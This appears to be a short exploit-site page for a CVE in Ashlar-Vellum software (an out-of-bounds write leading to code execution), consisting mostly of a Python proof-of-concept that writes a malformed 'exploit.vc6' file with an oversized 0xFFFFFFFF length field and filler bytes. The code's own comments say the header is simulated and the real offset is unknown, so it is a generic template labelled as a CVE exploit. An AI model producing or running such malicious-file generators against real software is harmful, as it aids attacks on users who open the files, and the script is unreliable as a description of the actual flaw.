CVE-2025-65086 Ashlar-Vellum越界写入代码执行漏洞

import struct # Generate a malformed VC6 file to trigger the Out-of-Bounds Write # This is a generic PoC structure for demonstration. def generate_malicious_vc6(filename): with open(filename, 'wb') as f: # VC6 Header Placeholder (Simulated) header = b'VC6_FORMAT' f.write(header) # Malicious payload: Simulating an oversized length field # that causes an overflow during parsing. # In a real scenario, this specific offset/size is derived from reverse engineering. evil_size = struct.pack('<I', 0xFFFFFFFF) f.write(evil_size) # Padding to trigger the write at the specific offset padding = b'A' * 1000 f.write(padding) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_vc6("exploit.vc6")